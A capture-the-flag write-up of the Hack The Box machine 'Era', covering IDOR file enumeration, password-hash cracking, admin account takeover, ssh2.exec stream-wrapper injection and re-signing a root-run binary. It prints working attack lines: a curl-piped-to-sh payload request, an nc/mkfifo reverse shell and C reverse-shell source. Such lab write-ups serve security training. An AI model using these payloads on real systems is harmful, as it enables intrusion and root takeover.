Post

Era

Era

Recon

Port Discovery

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sudo nmap -PN -sC -sV -oN era 10.129.210.35      
[sudo] password for kali: 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 21:39 PKT
Nmap scan report for 10.129.210.35
Host is up (0.38s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.18 seconds

Trying FTP

It’s unusual to see a closed SSH port. FTP is open, we could try anonymous login.

1
2
3
4
5
6
7
8
9
10
ftp 10.129.210.35
Connected to 10.129.210.35.
220 (vsFTPd 3.0.5)
Name (10.129.210.35:kali): anonymous
331 Please specify the password.
Password: 
530 Login incorrect.
ftp: Login failed
ftp> exit
221 Goodbye.

Edit /etc/hosts and include era.htb. It’s a very simple 1-page website. Definitely a subdomain enumeration here.

Further Enumeration

Subdomain

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
└─$ gobuster vhost -u http://era.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain              
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://era.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: file.era.htb Status: 200 [Size: 6765]

Add file.era.htb to /etc/hosts. The subdomain requires authentication. Let’s try enumerating for directories.

Directory Fuzzing

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u http://file.era.htb/FUZZ.php -ic -t 80

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://file.era.htb/FUZZ.php
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 80
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

register                [Status: 200, Size: 3205, Words: 1094, Lines: 106, Duration: 170ms]
login                   [Status: 200, Size: 9214, Words: 3701, Lines: 327, Duration: 303ms]
index                   [Status: 200, Size: 6765, Words: 2608, Lines: 234, Duration: 449ms]
download                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 596ms]
upload                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 300ms]
layout                  [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 199ms]
logout                  [Status: 200, Size: 70, Words: 6, Lines: 1, Duration: 164ms]
manage                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 146ms]
reset                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 164ms]

Some are pages with .php and some are directories. We have a register page, let’s try registering.

marshal:test123

We have 3 pages.

  1. manage.php - Shows file uploaded and deletion.
  2. upload.php - Allows uploading file
  3. reset.php - Allows updating security question.

What’s weird is we can reset any user’s security question as long as they exist.

We will try to upload a file.

We see this link after uploading: http://file.era.htb/download.php?id=6908

This seems like an IDOR.

Abusing IDOR

Let’s generate a file with ids.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
seq 1 10000 > ids.txt

ffuf -u "http://file.era.htb/download.php?id=FUZZ" -w ids.txt -mc 200 -H 'Cookie: PHPSESSID=ijd8roqes3q88m9s53rdqg14st' -fw 3161

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://file.era.htb/download.php?id=FUZZ
 :: Wordlist         : FUZZ: /home/kali/htb/era_re/ids.txt
 :: Header           : Cookie: PHPSESSID=ijd8roqes3q88m9s53rdqg14st
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
 :: Filter           : Response words: 3161
________________________________________________

54                      [Status: 200, Size: 6378, Words: 2552, Lines: 222, Duration: 153ms]
150                     [Status: 200, Size: 6366, Words: 2552, Lines: 222, Duration: 148ms]

We have two valid hits.

On 54 we have site-backup-30-08-24.zip juicy. On 150 we have signing.zip.

Let’s download them both.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
ls -la
total 836
drwxrwxr-x 6 kali kali   4096 Jul 30 22:28 .
drwxrwxr-x 4 kali kali   4096 Jul 30 22:29 ..
-rw-r--r-- 1 kali kali  23359 Jun 29 21:29 bg.jpg
drwxr-xr-x 3 kali kali   4096 Jun 29 21:23 css
-rw-r--r-- 1 kali kali   2540 Jun 29 21:29 download.php
-rw-r--r-- 1 kali kali  20480 Jun 29 21:20 filedb.sqlite
drwxr-xr-x 2 kali kali   4096 Dec 15  2024 files
-rw-r--r-- 1 kali kali   2221 Jun 29 21:29 functions.global.php
-rw-r--r-- 1 kali kali   1570 Jun 29 21:29 index.php
-rw-r--r-- 1 kali kali   7293 Jun 29 21:29 initial_layout.php
-rw-r--r-- 1 kali kali   7222 Jun 29 21:29 layout_login.php
-rw-r--r-- 1 kali kali   7959 Jun 29 21:29 layout.php
-rw-r--r-- 1 kali kali  34524 Jun 29 21:29 LICENSE
-rw-r--r-- 1 kali kali   5729 Jun 29 21:29 login.php
-rw-r--r-- 1 kali kali    248 Jun 29 21:29 logout.php
-rw-r--r-- 1 kali kali 113289 Jun 29 21:29 main.png
-rw-r--r-- 1 kali kali  11937 Jun 29 21:29 manage.php
-rw-r--r-- 1 kali kali   5149 Jun 29 21:29 register.php
-rw-r--r-- 1 kali kali   4916 Jun 29 21:29 reset.php
drwxr-xr-x 6 kali kali   4096 Jun 29 21:23 sass
-rw-r--r-- 1 kali kali  92890 Jun 29 21:29 screen-download.png
-rw-r--r-- 1 kali kali  97427 Jun 29 21:29 screen-login.png
-rw-r--r-- 1 kali kali  85428 Jun 29 21:29 screen-main.png
-rw-r--r-- 1 kali kali 170600 Jun 29 21:29 screen-manage.png
-rw-r--r-- 1 kali kali  87742 Jun 29 21:29 screen-upload.png
-rw-r--r-- 1 kali kali   7580 Jun 29 21:29 security_login.php
-rw-r--r-- 1 kali kali   6943 Jun 29 21:29 upload.php
drwxr-xr-x 2 kali kali   4096 Jun 29 21:23 webfonts

Database files are always high-value.

1
2
3
4
5
6
7
8
9
10
sqlite> .tables
files  users

sqlite> SELECT * FROM users;
1|admin_ef01cab31aa|$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC|600|Maria|Oliver|Ottawa
2|eric|$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm|-1|||
3|veronica|$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK|-1|||
4|yuri|$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.|-1|||
5|john|$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6|-1|||
6|ethan|$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC|-1|||

John the creds

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ john creds.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (bcrypt [Blowfish 32/64 X3])
Remaining 4 password hashes with 4 different salts
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:01:15 0.02% (ETA: 2025-08-05 06:12) 0g/s 38.42p/s 154.4c/s 154.4C/s mamamia..gracia
Session aborted
                                                                                                     
┌──(kali㉿vm-kali)-[~/htb/era_re]
└─$ cat creds.txt 
admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC
                                                                                                     
┌──(kali㉿vm-kali)-[~/htb/era_re]
└─$ john --show creds.txt                                                    
eric:america
yuri:mustang

The admin username is different. We can definitely reset his security questions. Let’s see if yuri or eric exist on website and FTP.

eric and yuri can access the website. eric can’t access ftp. yuri can access ftp.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ftp 10.129.210.35
Connected to 10.129.210.35.
220 (vsFTPd 3.0.5)
Name (10.129.210.35:kali): yuri
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||65065|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 22 08:42 apache2_conf
drwxr-xr-x    3 0        0            4096 Jul 22 08:42 php8.1_conf
226 Directory send OK.

We have backend technologies:

1
2
3
4
5
6
7
ls -la
total 20
drwxrwxr-x 4 kali kali 4096 Jul 30 23:44 .
drwxrwxr-x 5 kali kali 4096 Jul 30 23:44 ..
drwxrwxr-x 2 kali kali 4096 Jul 30 23:44 apache2_conf
-rw-rw-r-- 1 kali kali  258 Jul 30 23:44 .listing
drwxrwxr-x 3 kali kali 4096 Jul 30 23:47 php8.1_conf

apache2 and php8.1

Enumerating the website

Let’s login as yuri to website and takeover admin account by setting admin_ef01cab31aa questions to MariaM or whatever.

We have now access as admin. admin can view any uploaded files. Let’s review the source code from site-backup and see if we have any way to gain foothold.

Foothold

Reviewing download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
<?php

require_once('functions.global.php');
require_once('layout.php');

function deliverMiddle_download($title, $subtitle, $content) {
    return '
    <main style="
        display: flex; 
        flex-direction: column; 
        align-items: center; 
        justify-content: center; 
        height: 80vh; 
        text-align: center;
        padding: 2rem;
    ">
        <h1>' . htmlspecialchars($title) . '</h1>
        <p>' . htmlspecialchars($subtitle) . '</p>
        <div>' . $content . '</div>
    </main>
    ';
}


if (!isset($_GET['id'])) {
        header('location: index.php'); // user loaded without requesting file by id
        die();
}

if (!is_numeric($_GET['id'])) {
        header('location: index.php'); // user requested non-numeric (invalid) file id
        die();
}

$reqFile = $_GET['id'];

$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);

$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it

if (!$realFile) {
        echo deliverTop("Era - Download");

        echo deliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");

        echo deliverBottom();
} else {
        $fileName = str_replace("files/", "", $fetched[0]);


        // Allow immediate file download
        if ($_GET['dl'] === "true") {

                header('Content-Type: application/octet-stream');
                header("Content-Transfer-Encoding: Binary");
                header("Content-disposition: attachment; filename=\"" .$fileName. "\"");
                readfile($fetched[0]);
        // BETA (Currently only available to the admin) - Showcase file instead of downloading it
        } elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
                $format = isset($_GET['format']) ? $_GET['format'] : '';
                $file = $fetched[0];

                if (strpos($format, '://') !== false) {
                        $wrapper = $format;
                        header('Content-Type: application/octet-stream');
                } else {
                        $wrapper = '';
                        header('Content-Type: text/html');
                }

                try {
                        $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
                        $full_path = $wrapper ? $wrapper . $file : $file;
                        // Debug Output
                        echo "Opening: " . $full_path . "\n";
                        echo $file_content;
                } catch (Exception $e) {
                        echo "Error reading file: " . $e->getMessage();
                }


        // Allow simple download
        } else {
                echo deliverTop("Era - Download");
                echo deliverMiddle_download("Your Download Is Ready!", $fileName, '<a href="download.php?id='.$_GET['id'].'&dl=true"><i class="fa fa-download fa-5x"></i></a>');

        }

}


?>

What’s interesting is the part:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 // BETA (Currently only available to the admin) - Showcase file instead of downloading it
        } elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1) {
                $format = isset($_GET['format']) ? $_GET['format'] : '';
                $file = $fetched[0];

                if (strpos($format, '://') !== false) {
                        $wrapper = $format;
                        header('Content-Type: application/octet-stream');
                } else {
                        $wrapper = '';
                        header('Content-Type: text/html');
                }

                try {
                        $file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');
                        $full_path = $wrapper ? $wrapper . $file : $file;
                        // Debug Output
                        echo "Opening: " . $full_path . "\n";
                        echo $file_content;
                } catch (Exception $e) {
                        echo "Error reading file: " . $e->getMessage();
                }

as erauser === 1, definitely should be admin, we can use the parameters show and format. It seems like format parameter allows us to view the uploaded files in different format.

Stream Wrapper Injection

The vulnerable part is how it handles file opening for admin:

$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');

Stream Wrapper Injection / Remote File Inclusion (RFI) Because $format is directly prepended to the $file, an attacker can trigger fopen() using:

  • php://filter/convert.base64-encode/resource=…
  • http://evil.com/somefile
  • data://text/plain;base64,…
  • ftp://…
  • compress.zlib://, phar://, etc.

Let’s try to figure out what is installed on the server with PHP.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
┌──(kali㉿vm-kali)-[~/htb/era_re/era.htb/php8.1_conf]
└─$ ls -la
total 10100
drwxrwxr-x 3 kali kali    4096 Jul 30 23:47 .
drwxrwxr-x 4 kali kali    4096 Jul 30 23:44 ..
drwxrwxr-x 2 kali kali    4096 Jul 30 23:47 build
-rw-rw-r-- 1 kali kali   35080 Dec  8  2024 calendar.so
-rw-rw-r-- 1 kali kali   14600 Dec  8  2024 ctype.so
-rw-rw-r-- 1 kali kali  190728 Dec  8  2024 dom.so
-rw-rw-r-- 1 kali kali   96520 Dec  8  2024 exif.so
-rw-rw-r-- 1 kali kali  174344 Dec  8  2024 ffi.so
-rw-rw-r-- 1 kali kali 7153984 Dec  8  2024 fileinfo.so
-rw-rw-r-- 1 kali kali   67848 Dec  8  2024 ftp.so
-rw-rw-r-- 1 kali kali   18696 Dec  8  2024 gettext.so
-rw-rw-r-- 1 kali kali   51464 Dec  8  2024 iconv.so
-rw-rw-r-- 1 kali kali    2123 Jul 30 23:44 .listing
-rw-rw-r-- 1 kali kali 1006632 Dec  8  2024 opcache.so
-rw-rw-r-- 1 kali kali  121096 Dec  8  2024 pdo.so
-rw-rw-r-- 1 kali kali   39176 Dec  8  2024 pdo_sqlite.so
-rw-rw-r-- 1 kali kali  284936 Dec  8  2024 phar.so
-rw-rw-r-- 1 kali kali   43272 Dec  8  2024 posix.so
-rw-rw-r-- 1 kali kali   39176 Dec  8  2024 readline.so
-rw-rw-r-- 1 kali kali   18696 Dec  8  2024 shmop.so
-rw-rw-r-- 1 kali kali   59656 Dec  8  2024 simplexml.so
-rw-rw-r-- 1 kali kali  104712 Dec  8  2024 sockets.so
-rw-rw-r-- 1 kali kali   67848 Dec  8  2024 sqlite3.so
-rw-rw-r-- 1 kali kali  313912 Dec  8  2024 ssh2.so
-rw-rw-r-- 1 kali kali   22792 Dec  8  2024 sysvmsg.so
-rw-rw-r-- 1 kali kali   14600 Dec  8  2024 sysvsem.so
-rw-rw-r-- 1 kali kali   22792 Dec  8  2024 sysvshm.so
-rw-rw-r-- 1 kali kali   35080 Dec  8  2024 tokenizer.so
-rw-rw-r-- 1 kali kali   43272 Dec  8  2024 xmlreader.so
-rw-rw-r-- 1 kali kali   59656 Dec  8  2024 xml.so
-rw-rw-r-- 1 kali kali   51464 Dec  8  2024 xmlwriter.so
-rw-rw-r-- 1 kali kali   39176 Dec  8  2024 xsl.so
-rw-rw-r-- 1 kali kali   84232 Dec  8  2024 zip.so

These are shared libraries used by PHP, each ending in .so (shared object). .so files in PHP are dynamically loadable modules extensions that add functionality to PHP.

If we have ssh2.so shared object it means ssh2 is at least installed even if not enabled.

Let’s read about the ssh2 wrapper.

SSH2 Wrapper

1
2
3
4
ssh2.shell://user:pass@example.com:22/xterm
ssh2.exec://user:pass@example.com:22/usr/local/bin/somecmd
ssh2.tunnel://user:pass@example.com:22/192.168.0.1:14
ssh2.sftp://user:pass@example.com:22/path/to/filename

We can use ssh2.exec:// wrapper to run an arbitrary command. Potentially get a reverse shell. Since yuri was enabled on FTP we will try his credential.

We will try to inject the stream wrapper here in format parameter:

http://file.era.htb/download.php?id=54&show=true&format=

We will check if we can get a connection on our machine.

1
2
3
4
5
6
7
8
9
10
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/curl+10.10.16.30; HTTP/1.1
Host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=hr8uush183pcpavpk513gro9ks
Upgrade-Insecure-Requests: 1
Priority: u=0, i
1
2
3
4
5
6
7
nc -lvnp 80   
listening on [any] 80 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.79] 38748
GET / HTTP/1.1
Host: 10.10.16.30
User-Agent: curl/7.81.0
Accept: */*

We can get a reverse shell.

1
2
cat shell.sh    
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.30 1234 >/tmp/f

Start a listener, and http server for the shell script.

1
2
3
4
5
6
7
8
9
10
GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1/curl+-s+http://10.10.16.30/shell.sh|sh; HTTP/1.1
Host: file.era.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: PHPSESSID=hr8uush183pcpavpk513gro9ks
Upgrade-Insecure-Requests: 1
Priority: u=0, i

and we have a reverse shell as yuri. But we don’t have a flag here.

1
2
3
4
5
6
7
$ ls /home/
eric
yuri
$ su eric
Password: america
whoami
eric

We are now eric.

Upgrade TTY

1
2
3
4
5
6
7
8
python3 -c "import pty; pty.spawn('/bin/bash');"
eric@era:/home/yuri$ ^Z
zsh: suspended  nc -lvnp 1234
                                                                                                     
┌──(kali㉿vm-kali)-[~/htb/era_re/era.htb/php8.1_conf]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 1234
                               export TERM=xterm

Privilege Escalation

We have an unusual folder in /opt/

1
2
3
4
ls /opt/AV/periodic-checks/
monitor  status.log
eric@era:/opt/AV/periodic-checks$ ./monitor
bash: ./monitor: Permission denied

Let’s exfil the monitor file and understand what’s happening.

1
2
3
4
5
6
file monitor      
monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped

└─$ ./monitor 
[*] System scan initiated...
[*] No threats detected. Shutting down...

monitor is a 64-bit Linux executable in ELF format, compiled as a PIE binary, dynamically linked to system libraries, built for Linux kernel 3.2.0+, and still contains symbols that could help us debug or reverse-engineer it.

We could try something as simple as trying to replace the original monitor file with our version of monitor which gets us a reverse shell as root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <stdio.h>

int main() {

    printf("[*] System scan initiated...\n");
    printf("[*] No threats detected. Shutting down...");
    int sockfd;
    struct sockaddr_in revsockaddr;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);

    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(4444); // Replace with your listener port
    revsockaddr.sin_addr.s_addr = inet_addr("10.10.16.30"); // Replace with your IP

    connect(sockfd, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
    dup2(sockfd, 0);  // STDIN
    dup2(sockfd, 1);  // STDOUT
    dup2(sockfd, 2);  // STDERR

    execve("/bin/sh", NULL, NULL);

    return 0;
}

1
gcc binary.c -static -o malicious_monitor

Let’s upload it:

1
2
mv monitor monitor.bak
eric@era:/opt/AV/periodic-checks$ curl http://10.10.16.30/malicious_monitor -o monitor

On running our malicious binary:

1
2
3
4
5
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.79] 40982
whoami
eric

We indeed get a shell, however, if you wait long enough root will take permissions on the binary and you won’t be able to run it. You won’t get a reverse shell as root either.

1
2
3
4
5
6
7
8
9
eric@era:/opt/AV/periodic-checks$ ls -la
total 52
drwxrwxr-- 2 root devs  4096 Aug 18 15:20 .
drwxrwxr-- 3 root devs  4096 Jul 22 08:42 ..
-rwxrw-r-- 1 root devs 16544 Aug 18 15:20 monitor
-rwxrw---- 1 root devs 16544 Aug 18 15:19 monitor.bak
-rw-rw---- 1 root devs   307 Aug 18 15:20 status.log
eric@era:/opt/AV/periodic-checks$ ./monitor
bash: ./monitor: Permission denied

What this confirms is that our binary does indeed work, but it’s missing something to be ran by root.

Messing with the binary

This takes us back to our discovery of .pem and .genkey the other files signing that we got from IDOR.

Doing something simple like strings:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
strings monitor         
<SNIP>
[*] System scan initiated...
[*] No threats detected. Shutting down...
<SNIP>
Era Inc.1
ELF verification1
yurivich@era.com
<SNIP>
.dynamic
.data
.bss
.comment
.text_sig

A few things stand out:

  1. ELF verification generally refers to confirming the authenticity and integrity
  2. An unusual section .text_sig

If you have been into game hacking or software cracking, you know of the concept called signature scanning.

Signature scanning in the context of games typically refers to methods used to verify the integrity and authenticity of game files or software. It involves comparing the “signature” of a file (a unique identifier or checksum) against a known database of legitimate signatures. This helps detect unauthorized modifications, tampering, or the presence of malicious code.

Let’s run objdump on it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
objdump -s -j .text_sig monitor


monitor:     file format elf64-x86-64

Contents of section .text_sig:
 0000 308201c6 06092a86 4886f70d 010702a0  0.....*.H.......
 0010 8201b730 8201b302 0101310d 300b0609  ...0......1.0...
 0020 60864801 65030402 01300b06 092a8648  `.H.e....0...*.H
 0030 86f70d01 07013182 01903082 018c0201  ......1...0.....
 0040 01306730 4f311130 0f060355 040a0c08  .0g0O1.0...U....
 0050 45726120 496e632e 31193017 06035504  Era Inc.1.0...U.
 0060 030c1045 4c462076 65726966 69636174  ...ELF verificat
 0070 696f6e31 1f301d06 092a8648 86f70d01  ion1.0...*.H....
 0080 09011610 79757269 76696368 40657261  ....yurivich@era
 0090 2e636f6d 02146d63 4aa981e1 93a1e448  .com..mcJ......H
 00a0 c5205ff7 9b84e6b6 f50b300b 06096086  . _.......0...`.
 00b0 48016503 04020130 0d06092a 864886f7  H.e....0...*.H..
 00c0 0d010101 05000482 01006a8d 5090e77a  ..........j.P..z
 00d0 a22431d3 e629241a c7eec906 dce87592  .$1..)$.......u.
 00e0 c90733b8 5ea5c466 db04a35a 28648853  ..3.^..f...Z(d.S
 00f0 00f2775c fbe983ae 833d2c36 7030985a  ..w\.....=,6p0.Z
 0100 b5d9ae28 cfbf75db 8e402955 c9bef8d3  ...(..u..@)U....
 0110 058e6ee1 1eb435bb 30a3056d b85074bc  ..n...5.0..m.Pt.
 0120 4e15fc44 0a57e3f6 2f4b5ecd 0e6b222d  N..D.W../K^..k"-
 0130 c4039189 2c7ded05 fe45a3e9 c00f0610  ....,}...E......
 0140 f8a653ab f72571aa cbf2ff38 238658d0  ..S..%q....8#.X.
 0150 8dcfba33 1c6d2092 8c01c77d 4e49ea94  ...3.m ....}NI..
 0160 670c9de9 42779e09 67143d81 49209fc1  g...Bw..g.=.I ..
 0170 24005880 04c7cebf d398ec6d 55b50333  $.X........mU..3
 0180 db46f2ab 74e6aa24 e9dc76d2 c9c4183b  .F..t..$..v....;
 0190 991bc0f4 762b1c09 1d82317c aab31e88  ....v+....1|....
 01a0 dfc04871 2bb9ac8a 0dbb6cd7 cd6bdcaa  ..Hq+.....l..k..
 01b0 c96c2afe faa17944 ebdd7a6e 6f2e91da  .l*...yD..zno...
 01c0 5e41e0e6 5ddeec93 47ee               ^A..]...G.

ELF Verification as you can see. So what to do now? We will grab an ELF Binary signer and sign our binary.

Signing our binary

1
2
3
4
5
6
git clone https://github.com/NUAA-WatchDog/linux-elf-binary-signer.git
unzip signing.zip
mv x509.genkey key.pem /tmp/linux-elf-binary-signer/  
cd linux-elf-binary-signer
make clean
gcc -o elf-sign elf_sign.c -lssl -lcrypto -Wno-deprecated-declarations

We need to know which digest to sign our elf with:

1
2
3
4
5
objcopy --dump-section .text_sig=text_sig_section.bin monitor
openssl asn1parse -inform DER -in text_sig_section.bin
<SNIP>
  172:d=6  hl=2 l=   9 prim: OBJECT            :sha256
<SNIP>

Let’s sign it:

1
2
3
4
5
6
7
8
9
10
openssl req -x509 -new -key key.pem -out x509.crt -config x509.genkey -days 365

./elf-sign sha256 key.pem x509.crt ../malicious_monitor
 --- 64-bit ELF file, version 1 (CURRENT), little endian.
 --- 26 sections detected.
 --- Section 0006 [.text] detected.
 --- Length of section [.text]: 480377
 --- Signature size of [.text]: 458
 --- Writing signature to file: .text_sig
 --- Removing temporary signature file: .text_sig

Transfer the signed binary:

1
curl http://10.10.16.30/malicious_monitor -o monitor

Be sure to start your listener, the shell won’t be immediate wait for it:

1
2
3
4
5
nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.30] from (UNKNOWN) [10.10.11.79] 42948
whoami
root

This post is licensed under CC BY 4.0 by the author.